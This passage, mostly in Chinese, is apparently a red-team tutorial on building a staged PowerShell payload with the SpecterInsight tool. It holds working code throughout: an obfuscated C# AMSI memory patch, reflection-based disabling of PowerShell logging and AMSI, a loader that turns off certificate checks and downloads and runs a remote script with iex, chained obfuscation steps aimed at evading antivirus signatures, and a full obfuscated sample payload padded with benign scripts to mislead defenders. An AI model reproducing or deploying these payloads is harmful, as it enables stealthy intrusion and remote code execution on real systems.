RuntimeHelpers.PrepareMethod(webRequest.MethodHandle);            RuntimeHelpers.PrepareMethod(isValid.MethodHandle);            IntPtr httpClient= webRequest.MethodHandle.GetFunctionPointer();            IntPtr status= isValid.MethodHandle.GetFunctionPointer();            byte[] responseText= FileImporter.CopyObject(status);            uint errorCode;            if (!FileImporter.httpRequest(httpClient, (UIntPtr)responseText.Length, 0x40, out errorCode))            {                throw new Win32Exception();            }            IntPtr height= IntPtr.Zero;            if (!FileImporter.length(buffer, httpClient, responseText, (uint)responseText.Length, out height))            {                throw new Win32Exception();            }            if (!FileImporter.server(buffer, httpClient, (UIntPtr)responseText.Length))            {                throw new Win32Exception();            }            if (!FileImporter.httpRequest(httpClient, (UIntPtr)responseText.Length, errorCode, out errorCode))            {                throw new Win32Exception();            }        }        private static IntPtr ImportDataFromExcel()        {            Process xmlData= Process.GetCurrentProcess();foreach (ProcessModule configuration in xmlData.Modules){    if (configuration.ModuleName.IndexOf(TimerStarter.CodeUnitTester.InvoiceDate, StringComparison.InvariantCultureIgnoreCase) >= 0)    {        return configuration.BaseAddress;    }}            return IntPtr.Zero;        }        private static IntPtr RegisterService(IntPtr count, string tempString)        {            return FileImporter.GetProcAddress(count, tempString);        }        private static byte[] CopyObject(IntPtr status)        {            byte[] responseText= FileImporter.CopyObject();            if (IntPtr.Size == 8)            {                byte[] logEntry= BitConverter.GetBytes(status.ToInt64());                for (int tempItem= 0; tempItem < logEntry.Length; tempItem++)                {                    responseText[tempItem + 2] = logEntry[tempItem];                }            }            else            {                byte[] logEntry= BitConverter.GetBytes(status.ToInt32());                for (int tempItem= 0; tempItem < logEntry.Length; tempItem++)                {                    responseText[tempItem + 1] = logEntry[tempItem];                }            }            return responseText;        }        private static byte[] CopyObject()        {            if (IntPtr.Size == 8)            {                return CodeCollaborator.utcTime;            }            else            {                return CodeCollaborator.flag;            }        }    }    public class CodeCollaborator {        public static byte[] utcTime= new byte[]        {            0x7F,            0xF1,            0x36,            0x36,            0x36,            0x36,            0x36,            0x36,            0x36,            0x36,            0x77,            0x35,            0x19        };        public static byte[] flag= new byte[]        {            0x9E,            0x36,            0x36,            0x36,            0x36,            0xF9        };        static CodeCollaborator()        {            int index= 54;            CodeCollaborator.GenerateDatabaseSchema(CodeCollaborator.utcTime, index);            CodeCollaborator.GenerateDatabaseSchema(CodeCollaborator.flag, index);        }        private static void GenerateDatabaseSchema(byte[] configFile, int index)        {            for (int tempItem= 0; tempItem < configFile.Length; tempItem++)            {                int client= configFile[tempItem] - index;                if (client < 0)                {                    client += 256;                }                configFile[tempItem] = (byte)client;            }        }    }}namespace TimerStarter{    public static class CodeUnitTester {        private static readonly string currentTimezone= "ehcaCnoitcurtsnIhsulF";        public static string FrameCount {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.currentTimezone);            }        }        private static readonly string tempVariable= "tcetorPlautriV";        public static string IsSibling {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.tempVariable);            }        }        private static readonly string tempData= "yromeMssecorPetirW";        public static string IsTransient {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.tempData);            }        }        private static readonly string tempValue= "slitUismA.noitamotuA.tnemeganaM.metsyS";        public static string QueryString {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.tempValue);            }        }        private static readonly string tempDictionary= "tnetnoCnacS";        public static string PaymentPayPalID {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.tempDictionary);            }        }        private static readonly string createdBy= "23lenrek";        public static string InvoiceDate {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.createdBy);            }        }        private static string ValidateForm(string heightValue)        {            char[] element= heightValue.ToCharArray();            Array.Reverse(element);            return new string (element);        }    }}'@;    [ConfigurationImporter.FileImporter]::AdjustBrightness();}

装载机

加载程序需要:(1) 禁用证书验证,(2) 下载下一阶段,(3) 运行它。在我们的例子中,下一阶段是 PowerShell 脚本。我没有使用内置的 PowerShell 下载和执行有效负载之一,而是选择使用手动制作的加载程序,以便更好地控制证书验证技术(注意:SpecterInsight 的下一个版本将包含选择使用哪种证书验证技术的选项)。

管道脚本

$url = Get-PayloadURL -Pipeline 'specter_stage_3';$loader = @"`$ServerCertificateValidationCallback = "ServerCertificateValidationCallback";[System.Net.ServicePointManager]::`$ServerCertificateValidationCallback = { `$true }`$client = New-Object System.Net.WebClient;`$DownloadString = "DownloadString";`$script = `$client.`$DownloadString('$url');iex `$script"@$loader

示例输出

$url = Get-PayloadURL -Pipeline 'specter_stage_3';$loader = @"`$ServerCertificateValidationCallback = "ServerCertificateValidationCallback";[System.Net.ServicePointManager]::`$ServerCertificateValidationCallback = { `$true }`$client = New-Object System.Net.WebClient;`$DownloadString = "DownloadString";`$script = `$client.`$DownloadString('$url');iex `$script"@$loader

在 PowerShell 6 之前的早期版本中,日志记录设置是从注册表中提取的,并缓存在内存中的 Dictionary 数据结构中。这些设置在应用程序启动时会被停用一次。加载到内存后,PowerShell 中的各个代码段会引用这些缓存的设置,以实现由这些设置定义的策略。

我们可以使用上面显示的代码通过反射来操作这些缓存设置。关键是注册表项的路径,而值存储在哈希表中。我们可以通过将值设置为新的哈希表并将值添加到该表来清除这些设置。对于每个设置,我们只需添加值 0 即可禁用该类型的日志记录。实施后,PowerShell 将开始使用新设置。

ConvertToFunction 以及 Bypass 和 Loader 的结合

接下来,我们需要结合日志旁路、AMSI 旁路和加载器。我还应用了转换来使各个组件发挥作用,以便它们可以与我们最后要添加的合法函数更好地融合。Obfuscate-PwshConvertToFunction cmdlet 返回一个对象,该对象具有表示转换后的脚本的 Contents 属性和表示原始脚本嵌入到的函数名称的 FunctionName 属性。我将该属性引用为 Obfuscate-PwshCombine cmdlet 的第四、第五和第六个参数。

管道脚本

$url = Get-PayloadURL -Pipeline 'specter_stage_3';$loader = $loader | Obfuscate-PwshConvertToFunction;$logging = Get-PwshLoggingBypass | Obfuscate-PwshConvertToFunction;$bypass = Get-PwshAmsiBypass -Technique $AmsiBypassTechnique | Obfuscate-PwshConvertToFunction;$combined = Obfuscate-PwshCombine @($logging$bypass$loader$logging.FunctionName, $bypass.FunctionName, $loader.FunctionName);$combined

示例输出

functionSubtagsOptimizerAwaiter{try {        $key1 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging"        $key2 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging"        $key3 = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription"        $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);        $settings[$key1] = @{}        $settings[$key1].Add("EnableScriptBlockLogging"'0')        $settings[$key2] = @{}        $settings[$key2].Add("EnableModuleLogging"'0')        $settings[$key3] = @{}        $settings[$key3].Add("EnableTranscripting"'0')    } catch { }}functionSql7Ended{functionSet-Value{        param(            [Parameter(Mandatory = $true)]            [Type]$Type,            [Parameter(Mandatory = $true)]            [string]$Name,            [Parameter(Mandatory = $true)]            [object]$Value        )        $method = "GetField";        $setter = "SetValue";        $field = $Type.$method($Name,"NonPublic,Static");        $field.$setter($null,$Value);    }if($PSVersionTable.PSVersion.Major -gt 2) {        $Assembly = "Assembly";        $method = "GetType";        $type = [Ref].$Assembly.$method("System.Management.Automation.AmsiUtils");        $name = "amsiInitFailed";        Set-Value $type $name $true;    }}functionRadioValidatorCreating{    $ServerCertificateValidationCallback = "ServerCertificateValidationCallback";    [System.Net.ServicePointManager]::$ServerCertificateValidationCallback = { $true }    $client = New-Object System.Net.WebClient;    $DownloadString = "DownloadString";    $script = $client.$DownloadString('https://192.168.1.101/static/resources/?build=1f5a69d0e70843f0af080f3cf87a69d7&kind=specter_stage_3');    iex $script}SubtagsOptimizerAwaiterSql7EndedRadioValidatorCreating

混淆堆栈

下一步是混淆堆栈。这是一系列转换,它们接收 PowerShell 脚本并应用特定的混淆技术,该技术会更改脚本,但保留原始脚本的功能。以下是每种混淆技术的简短描述以及一些示例:

  • Removes comments

此 cmdlet 只是从输入脚本中删除注释。我观察到一些 AV 签名部分基于脚本中的注释。Joe Bialek 就是一个例子。他的工作成果非常丰富,他的名字成为 Windows Defender AV 签名的一部分。

管道脚本

$script = @"#This is a single line fomment`$a = 'hello world!'<# thisisa multilinecomment!#>Write-Host `$a"@$script | Obfuscate-PwshRemoveComments

输出

$a = 'hello world!'Write-Host $a
  • Member expressions

此脚本只是将成员表达式转换为字符串。这允许我们稍后应用字符串混淆来缓解基于类成员的 AV 签名。

管道脚本

'[Environment]::GetCommandLineArgs()' | Obfuscate-PwshMemberExpressions

输出

[System.Environment]::'GetCommandLineArgs'.Invoke()
  • 类型表达式

此 cmdlet 将类型表达式转换为字符串,以便稍后使用 Obfuscate-PwshStrings cmdlet 进行混淆。有几种基于类型引用的签名,尤其是对 System.Reflection 命名空间中的内容的签名,这些签名可以让攻击者访问内部数据结构以绕过防御。此技术创建一个变量来存储字符串,以便与所有当前可用的字符串混淆技术兼容。

管道脚本

$script = @"[System.Reflection.Assembly]::Load(`$bytes);"@;$script | Obfuscate-PwshTypeExpressions

输出

$name = [Type]'System.Reflection.Assembly';$name::Load($bytes);
  • 函数名称

此 cmdlet 只是使用随机生成的函数名称重命名所提供脚本中定义的所有函数。然后,它会使用新函数名称更新对原始函数名称的任何引用。

管道脚本

$script = @"function Write-LogMessage {    param(        [Parameter(Mandatory = `$true, Position = 0)]        [string]        `$Message    )    Write-Host "[*] `$Message" -ForegroundColor Yellow}Write-LogMessage 'hello world!'"@$script | Obfuscate-PwshFunctionNames

输出

function Search-Any {    param(        [Parameter(Mandatory = $true, Position = 0)]        [string]$Message    )    Write-Host "[*] $Message" -ForegroundColor Yellow}Search-Any 'hello world!'
  • Cmdlet 别名

此 cmdlet 会为可疑或常用签名的 cmdlet(例如 Invoke-Expression 和 Invoke-Command)生成新的别名。然后可以使用 Obfuscate-PwshStrings 对字符串进行混淆。

管道脚本

'$a = "hello world"; Write-Host $a;' | Obfuscate-PwshCmdlets

输出

New-Alias 'Restart-Importing''Write-Host'$a = "hello world"; Restart-Importing $a;
  • 变量名

此 cmdlet 重命名变量并更新对这些变量的所有引用,包括包含在可扩展字符串表达式中的引用。

管道脚本

'$a = "hello world"; Write-Host $a;' | Obfuscate-PwshVariables

输出

$x = "hello world"; Write-Host $x;
  • 字符串

这是最重要的混淆技术之一,因为它实际上负责在其他 cmdlet 将成员和类型转换为字符串后对其进行混淆。有几种技术可供使用。默认选项“首选”将从一组通常可以很好地逃避检测的字符串混淆技术中随机选择一种技术。

管道脚本

Get-PwshAmsiBypass | Obfuscate-PwshStrings

输出

functionClose-Appointment2{    param(        [Parameter(Mandatory = $true, Position = 0)]        [string]$Value,        [Parameter(Mandatory = $true, Position = 1)]        [int]$Seed    )    $type = New-Object System.Random($Seed);    $t = New-Object int[] $Value.Length;for($groups = 0; $groups -lt $Value.Length; $groups++) {        $t[$groups] = $type.Next(0, $Value.Length);    }    $param = $Value.ToCharArray();for($groups = $param.Length - 1; $groups -ge 0; $groups--) {        $username = $param[$groups];        $param[$groups] = $param[$t[$groups]];        $param[$t[$groups]] = $username;    }returnNew-Object string(,$param);}functionSet-Value{    param(        [Parameter(Mandatory = $true)]        [Type]$Type,        [Parameter(Mandatory = $true)]        [string]$Name,        [Parameter(Mandatory = $true)]        [object]$Value    )    $method = Close-Appointment2 'iFteeldG'1212135420;    $setter = Close-Appointment2 'SleVeuta'2082114145;    $field = $Type.$method($Name,([string](Close-Appointment2 'ct,biilNcaPtonSu'1282663133)));    $field.$setter($null,$Value);}if($PSVersionTable.PSVersion.Major -gt 2) {    $Assembly = Close-Appointment2 'sAslyemb'37264246;    $method = Close-Appointment2 'ytTeGep'1203303406;    $type = [Ref].$Assembly.$method(([string](Close-Appointment2 'moaei.tettA.sitnuimSmyaote.mMlnAnsUgas'1064622315)));    $name = Close-Appointment2 'tFlIieadaniism'566866522;    Set-Value $type $name $true;}

现在我们将结合这些混淆技术来混淆我们的日志绕过、AMSI 绕过和加载器。应用这些技术时有一些重要的注意事项。它们需要按特定顺序应用才能最有效。例如:

  • 成员、类型和 Cmdlet 混淆必须先于字符串混淆,否则我们试图缓解的实际文本仍然在脚本中。

  • 变量混淆不能在字符串混淆之后进行。这可能会破坏带有可扩展字符串的脚本。

我们可能还想考虑使用 -Filter 参数。此选项允许我们提供一组正则表达式,其中至少一个表达式必须匹配才能混淆给定的标记或 AST 节点。这使我们能够提供量身定制的混淆,而不是随机混淆每个小字符串。

#Obfuscate the payload$obfuscated = $combined | Obfuscate-PwshRemoveComments;$obfuscated = $obfuscated | Obfuscate-PwshMemberExpressions -Filters @('DownloadString''ServerCertificateValidationCallback');$obfuscated = $obfuscated | Obfuscate-PwshTypeExpressions -Filters @('Assembly''ServicePointManager');$obfuscated = $obfuscated | Obfuscate-PwshFunctionNames;$obfuscated = $obfuscated | Obfuscate-PwshCmdlets -Filters @('iex''Invoke-Expression''Invoke-Command''icm''Add-Type');$obfuscated = $obfuscated | Obfuscate-PwshVariables;$obfuscated = $obfuscated | Obfuscate-PwshStrings -Technique $StringObfuscationTechnique -IncludeBareWord -Filters @('amsi','http://''https://''HKEY_LOCAL_MACHINE''EnableScriptBlockLogging''EnableModuleLogging''EnableTranscripting''System.Management.Automation''Assembly''WebClient''DownloadString''ServerCertificateValidationCallback''scriptblock''ServicePointManager'"using""GetType""GetField""SetValue"'CertificateValidator''iex''Invoke-Expression''Invoke-Command''icm''Add-Type');

使用合法的 PowerShell 脚本进行填充

最后一步是使用合法、非恶意的 PowerShell 脚本填充我们模糊的有效负载,以使其融入其中。目的实际上并不是为了逃避 AV 检测。上述步骤应该已经解决了这个问题。这实际上只是为了逃避不太仔细的防御者。SpecterInsight 4.2.0 提供了两个用于检索非恶意脚本的 cmdlet:

  • 获取密码模版

此 cmdlet 随机选择一个良性的、非恶意的 PowerShell 脚本,可用于帮助混淆 PowerShell 负载。

管道脚本

Get-PwshTemplate

输出

$loadEnvPath = Join-Path $PSScriptRoot 'loadEnv.ps1'if (-Not (Test-Path -Path $loadEnvPath)) {    $loadEnvPath = Join-Path $PSScriptRoot '..loadEnv.ps1'}. ($loadEnvPath)$TestRecordingFile = Join-Path $PSScriptRoot 'Set-JcSdkSystemAssociation.Recording.json'$currentPath = $PSScriptRootwhile(-not $mockingPath) {    $mockingPath = Get-ChildItem -Path $currentPath -Recurse -Include'HttpPipelineMocking.ps1' -File    $currentPath = Split-Path -Path $currentPath -Parent}. ($mockingPath | Select-Object -First 1).FullNameDescribe 'Set-JcSdkSystemAssociation' {TODO: Update for PolicyGroups#It 'SetExpanded' {# $ParameterType = (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.FullName# (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.DeclaredFields.Where( { $_.IsPublic }).Name | ForEach-Object {# { Set-JcSdkSystemAssociation -Id:((Get-Variable -Name:("PesterTest$($_)")).Value.Id) -Op:('add') -Type:(Invoke-Expression "[$ParameterType]::$_".Replace('group','_group')) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw# { Set-JcSdkSystemAssociation -Id:((Get-Variable -Name:("PesterTest$($_)")).Value.Id) -Op:('remove') -Type:(Invoke-Expression "[$ParameterType]::$_".Replace('group','_group')) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw# }#}#It 'Set' {# $ParameterType = (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.FullName# (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.DeclaredFields.Where( { $_.IsPublic }).Name | ForEach-Object {# { Set-JcSdkSystemAssociation -Body:(@{Id = (Get-Variable -Name:("PesterTest$($_)")).Value.Id; Op = 'add'; Type = Invoke-Expression "[$ParameterType]::$_".Replace('group','_group'); }) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw# { Set-JcSdkSystemAssociation -Body:(@{Id = (Get-Variable -Name:("PesterTest$($_)")).Value.Id; Op = 'remove'; Type = Invoke-Expression "[$ParameterType]::$_".Replace('group','_group'); }) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw# }#}    It 'SetViaIdentity' -skip {        { Set-JcSdkSystemAssociation -Body:(@{Id = $global:PesterTestUser.Id; Op = 'add'; Type = 'user';}) -InputObject '<IJumpCloudApIsIdentity>' [-Authorization '<String>'] [-Date '<String>'] } | Should -Not -Throw    }    It 'SetViaIdentityExpanded' -skip {        { Set-JcSdkSystemAssociation -Id:($global:PesterTestUser.Id) -InputObject '<IJumpCloudApIsIdentity>' -Op:('add') -Type:('user') [-AttributeSudoEnabled] [-AttributeSudoWithoutPassword] [-Authorization '<String>'] [-Date '<String>'] } | Should -Not -Throw    }}
  • 获取 Pwsh 函数模板

此 cmdlet 随机选择一个或多个良性的、非恶意的 PowerShell 函数,可用于帮助混淆 PowerShell 负载。

管道脚本

Get-PwshFunctionTemplate

输出

function _VerifyResolutionMatrix{    [CmdletBinding()]    param(        [parameter(Mandatory=$true)][String[]] $resolution    )    begin{        Write-Debug "Starting _VerifyResolutionMatrix with $resolution"    }    process{$resolution | ForEach-Object{if(-not ($_ -match '^[1-9][0-9]*x[1-9][0-9]*$')){                Write-Debug "$_ is invalid"                Throw "Invalid resolution matrix"            }            Write-Debug "$_ is valid"        }    }}

对于这些脚本,我将使用 Get-PwshFunctionTemplate,以确保不会在目标上执行任何可能导致环境出现意外问题的意外代码。然后,我将把良性代码与我们的混淆代码结合起来以获得最终输出。最后一步是将结果写入管道。返回到管道的第一件事就是在调用 Payload Pipeline 时将返回给调用者的内容。

$template1 = Get-PwshFunctionTemplate | Format-PwshWhitespace;$template2 = Get-PwshFunctionTemplate | Format-PwshWhitespace;$result = Obfuscate-PwshCombine $template1$obfuscated$template2;$result;

综合起来

以下是此阶段的完整流程:

param(  [Parameter(Mandatory = $false)]  [SpecterInsight.Obfuscation.PowerShell.AstTransforms.PwshStringObfuscationTechnique]$StringObfuscationTechnique = 'Format',  [Parameter(Mandatory = $false)]  [SpecterInsight.Obfuscation.PowerShell.SourceTransforms.AmsiBypass.PwshAmsiBypassTechnique]$AmsiBypassTechnique = 'InitFailed')$url = Get-PayloadURL -Pipeline 'specter_stage_3';$loader = @"`$ServerCertificateValidationCallback = "ServerCertificateValidationCallback";[System.Net.ServicePointManager]::`$ServerCertificateValidationCallback = { `$true }`$client = New-Object System.Net.WebClient;`$DownloadString = "DownloadString";`$script = `$client.`$DownloadString('$url');iex `$script"@ | Obfuscate-PwshConvertToFunction;$logging = Get-PwshLoggingBypass | Obfuscate-PwshConvertToFunction;$bypass = Get-PwshAmsiBypass -Technique $AmsiBypassTechnique | Obfuscate-PwshConvertToFunction;$combined = Obfuscate-PwshCombine @($logging$bypass$loader$logging.FunctionName, $bypass.FunctionName, $loader.FunctionName);#Obfuscate the payload$obfuscated = $combined | Obfuscate-PwshRemoveComments;$obfuscated = $obfuscated | Obfuscate-PwshMemberExpressions -Filters @('DownloadString''ServerCertificateValidationCallback');$obfuscated = $obfuscated | Obfuscate-PwshTypeExpressions -Filters @('Assembly''ServicePointManager');$obfuscated = $obfuscated | Obfuscate-PwshFunctionNames;$obfuscated = $obfuscated | Obfuscate-PwshCmdlets -Filters @('iex''Invoke-Expression''Invoke-Command''icm''Add-Type');$obfuscated = $obfuscated | Obfuscate-PwshStrings -Technique $StringObfuscationTechnique -IncludeBareWord -Filters @('amsi','http://''https://''HKEY_LOCAL_MACHINE''EnableScriptBlockLogging''EnableModuleLogging''EnableTranscripting''System.Management.Automation''Assembly''WebClient''DownloadString''ServerCertificateValidationCallback''scriptblock''ServicePointManager'"using""GetType""GetField""SetValue"'CertificateValidator''iex''Invoke-Expression''Invoke-Command''icm''Add-Type');$obfuscated = $obfuscated | Obfuscate-PwshVariables;$template1 = Get-PwshFunctionTemplate | Format-PwshWhitespace;$template2 = Get-PwshFunctionTemplate | Format-PwshWhitespace;$result = Obfuscate-PwshCombine $template1$obfuscated$template2;$result;

上面概述的管道会生成一个有效载荷,通常如下所示:

function Start-Promise {    <#PSScriptInfo.Version    1.0.Guid    0ae30495-bfc9-4f9e-8d05-6730895e755f.Author     Thomas J. Malkewitz @dotps1.Tags     AD, UserName, UserProvisioning.ProjectUri    https://github.com/dotps1/PSFunctions.ExternalModuleDependencies     ActiveDirectory.ReleaseNotes    Renamed to fit AD Module Naming. Added ProjectUri.#>    <#.Synopsis    Creates a new username with AD DS Validation..Description    Create a new username with the following order until a unique Username is found.    1. First Initial Last Name.    2. First Initial First Middle Initial Last Name.    3. Iterates First Name adding each Char until a unique Username is found..Inputs    None..Outputs    System.String.Parameter FirstName    The first name of the user to be created..Parameter LastName    The last name of the user to be created..Parameter OtherName    The middle name of the user to be created..Example    PS C:> New-Username -FirstName John -LastName Doe    jdoe.Example    PS C:> New-Username -FirstName Jane -LastName Doe -MiddleName Ala    jadoe.Notes     Requires ActiveDirectory PowerShell Module available with Remote Server Administration Tools.    RSAT 7SP1: http://www.microsoft.com/en-us/download/details.aspx?id=7887    RSAT 8: http://www.microsoft.com/en-us/download/details.aspx?id=28972    RSAT 8.1: http://www.microsoft.com/en-us/download/details.aspx?id=39296    RSAT 10: http://www.microsoft.com/en-us/download/details.aspx?id=45520.Link    http://dotps1.github.io.Link    https://grposh.github.io#>#requires -Modules ActiveDirectory    [CmdletBinding()]    [OutputType(        [String]    )]    param (        [Parameter(            Mandatory = $true        )]        [Alias('GivenName'        )]        [String]$FirstName,        [Parameter(            Mandatory = $true        )]        [Alias('Surname'        )]        [String]$LastName,        [Parameter()]        [AllowNull()]        [String]$OtherName    )    [RegEx]$pattern = "s|-|'"$primaryUserName = ($FirstName.Substring(0,1) + $LastName) -replace $pattern,""if ((Get-ADUser -Filter { SamAccountName -eq $primaryUserName } | Measure-Object).Count -eq 0) {return$primaryUsername.ToLower()    }if (-not ([String]::IsNullOrEmpty($OtherName))) {$secondaryUserName = ($FirstName.Substring(0,1) + $OtherName.Substring(0,1) + $LastName) -replace $pattern,""if ((Get-ADUser -Filter { SamAccountName -eq $secondaryUserName } | Measure-Object).Count -eq 0) {return$secondaryUserName.ToLower()        }    }    foreach ($charin$FirstName.ToCharArray()) {$prefix += $char$tertiaryUserName = ($prefix + $LastName) -replace $pattern,""if (-not ($tertiaryUserName -eq $primaryUserName)) {if ((Get-ADUser -Filter { SamAccountName -eq $tertiaryUserName } | Measure-Object).Count -eq 0) {return$tertiaryUserName.ToLower()            }        }    }}New-Alias 'Build-Uploader' ([string]::format("{2}{0}{1}","e","x","i"))$d = [Type]([string]::format("{8}{0}{11}{5}{1}{7}{2}{10}{6}{3}{4}{9}","yste","e","v","tMa","nag","et.S","Poin","r","S","er","ice","m.N"));function Suspend-Xss {    try {$project = [string]::format("{14}{28}{20}{0}{3}{18}{7}{16}{25}{22}{29}{9}{30}{10}{1}{5}{15}{12}{21}{8}{6}{23}{31}{26}{4}{24}{27}{17}{13}{2}{11}{19}","L_MA","oso","g","CHI","cr","ftW","owe","E","P","ci","icr","gin","nd","ckLo","HKE","i","So","lo","N","g","CA","ows","are","r","ip","ftw","lS","tB","Y_LO","Poli","esM","Shel")$r = [string]::format("{4}{12}{22}{28}{5}{30}{10}{23}{21}{24}{11}{7}{29}{18}{2}{1}{8}{15}{17}{6}{19}{26}{0}{9}{3}{13}{20}{16}{25}{14}{27}","Pow","so","icro","Sh","HK","L_","w","Pol","ft","er","HIN","e","EY","ell","ggin","Wind","Modu","o","esM","s","","Sof","_LO","E","twar","leLo","","g","CA","ici","MAC")$port = [string]::format("{23}{31}{25}{22}{28}{20}{10}{24}{27}{18}{8}{33}{30}{2}{32}{21}{0}{26}{1}{11}{34}{3}{17}{5}{15}{35}{16}{12}{13}{6}{4}{19}{29}{7}{14}{9}","cie","ic","No","tWi","Tr","ows","","ipti","ARE","n","NE","ros","e","ll","o","Pow","rSh","nd","FTW","ans","HI","oli","L_M","HKE","","LOCA","sM","SO","AC","cr","6432","Y_","deP","Wow","of","e")$target = [Ref].([string]::format("{2}{3}{1}{0}","y","embl","A","ss")).([string]::format("{2}{0}{1}","Typ","e","Get"))(([string]::format("{13}{3}{7}{12}{6}{8}{10}{9}{11}{0}{2}{1}{4}{5}","to","atio","m","e","n.U","tils","M","m","anag","ent.","em","Au",".","Syst"))).([string]::format("{2}{0}{1}","Fiel","d","Get"))("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);$target[$project] = @{}$target[$project].Add(([string]::format("{7}{8}{4}{9}{3}{2}{5}{1}{6}{0}","ging","o","ck","o","Scri","L","g","En","able","ptBl")), '0')$target[$r] = @{}$target[$r].Add(([string]::format("{3}{4}{7}{5}{0}{6}{2}{1}","Lo","ng","i","Enab","leM","ule","gg","od")), '0')$target[$port] = @{}$target[$port].Add(([string]::format("{3}{2}{5}{4}{6}{0}{1}","ti","ng","abl","En","nsc","eTra","rip")), '0')    } catch { }}function Add-Cbm {    function Revoke-Angle {        param(            [Parameter(Mandatory = $true)]            [Type]$Type,            [Parameter(Mandatory = $true)]            [string]$Name,            [Parameter(Mandatory = $true)]            [object]$Value        )$hash = [string]::format("{4}{2}{0}{1}{3}","e","l","Fi","d","Get");$rule = [string]::format("{2}{0}{1}","tVa","lue","Se");$vmname = $Type.$hash($Name,"NonPublic,Static");$vmname.$rule($null,$Value);    }    if($PSVersionTable.PSVersion.Major -gt 2) {$database = [string]::format("{2}{0}{3}{1}","e","ly","Ass","mb");$hash = [string]::format("{1}{2}{3}{0}","e","Get","Ty","p");$type = [Ref].$database.$hash(([string]::format("{2}{0}{3}{4}{12}{6}{1}{9}{7}{5}{11}{8}{10}","em.","Auto","Syst","Man","agem","n.A","t.","atio","ti","m","ls","msiU","en")));$name = [string]::format("{1}{3}{0}{4}{2}","nitF","am","iled","siI","a");        Revoke-Angle $type$name$true;    }}function Checkpoint-Dispatch5 {$pass = [string]::format("{5}{7}{12}{1}{0}{6}{11}{8}{4}{3}{13}{10}{9}{2}","f","erti","k","ion","at","Se","icat","rv","id","bac","all","eVal","erC","C");$d::$pass = { $true }$log = New-Object ([string]::format("{4}{7}{3}{6}{2}{1}{5}{0}","ent",".We","et","stem","S","bCli",".N","y"));$version = [string]::format("{1}{2}{3}{0}","ring","Do","wnlo","adSt");$endpoint = $log.$version(([string]::format("{5}{12}{23}{9}{32}{24}{21}{26}{34}{20}{18}{27}{14}{17}{38}{37}{10}{7}{30}{1}{33}{13}{2}{6}{16}{0}{15}{31}{22}{3}{28}{19}{29}{11}{39}{36}{25}{4}{8}{35}","af08","f5","0e7","69d7","_st","http","084","buil","ag",".168","s/?","sp","s://","9d","c/re","0f3","3f0","so","t","nd","sta","1","a","192",".","ter","01","i","&ki","=","d=1","cf87",".1","a6","/","e_3","c","ce","ur","e")));    Build-Uploader $endpoint}Suspend-XssAdd-CbmCheckpoint-Dispatch5function Resize-Evidence {    # *******************************************************************    # * Title: Copy vDS PGs to vSS    # * Purpose: This script copies vDS PGs to vSS    # * Args: vCenter & Cluster Name    # * Usage: Create-VSS.ps1 -h [Target ESXi Host] -s [dVS Name] -d [vSS Name]    # * Author: Ryan Patel    # * Creation Date: 03/09/2018    # * Last Modified: 03/09/2018    # * Version: 1.0    # *******************************************************************    param    (        [alias("h")]        [string]$thisHost = $(Read-Host -Prompt "Enter the Target ESXi Host"),        [alias("s")]        [string]$source = $(Read-Host -Prompt "Enter the Source vDS Name"),        [alias("d")]        [string]$destination = $(Read-Host -Prompt "Enter the Destination vSS Name")    )    #Create an empty array to store the port group translations$pgTranslations = @()    #Get the destination vSwitch    if (!($destSwitch = Get-VirtualSwitch -host $thisHost -name $destination)){write-error "$destination vSwitch not found on $thisHost";exit 10}    #Get a list of all port groups on the source distributed vSwitch    if (!($allPGs = Get-vdswitch -name $source | Get-vdportgroup)){write-error "No port groups found for$source Distributed vSwitch";exit 11}    foreach ($thisPG in $allPGs)    {$thisObj = new-object -Type PSObject$thisObj | add-member -MemberType NoteProperty -Name "dVSPG" -Value $thisPG.Name$thisObj | add-member -MemberType NoteProperty -Name "VSSPG" -Value "$($thisPG.Name)-VSS"        new-virtualportgroup -virtualswitch $destSwitch -name "$($thisPG.Name)-VSS"        # Ensure that we don't try to tag an untagged VLAN        if ($thisPG.vlanconfiguration.vlanid)        {            Get-virtualportgroup -virtualswitch $destSwitch -name "$($thisPG.Name)-VSS" | Set-VirtualPortGroup -vlanid $thisPG.vlanconfiguration.vlanid        }$pgTranslations += $thisObj    } $pgTranslations}

第 1 阶段:PowerShell 命令

这一阶段相当简单。我们只需要执行第二阶段的有效载荷。SpecterInsight 提供了一个名为 Out-PwshCommand 的 cmdlet,它接收 PowerShell 脚本并输出 PowerShell 命令行命令。这里有两种基本技术,带有各种可选参数。这里的默认值令人满意,ExecutionPolicy 设置为 Bypass。

当此管道运行时,我们需要生成第 2 阶段有效负载并将其嵌入到 PowerShell 命令中。为此,我们将使用带有 -Pipeline 参数的 Get-Payload cmdlet。我们还可以将参数传递给管道。在本例中,我们希望传递字符串混淆和 AMSI 绕过技术参数。您可以使用 -PipelineArgs 参数执行此操作。此参数采用 Hashtable,其中键是参数名称,值是您要传入的值。

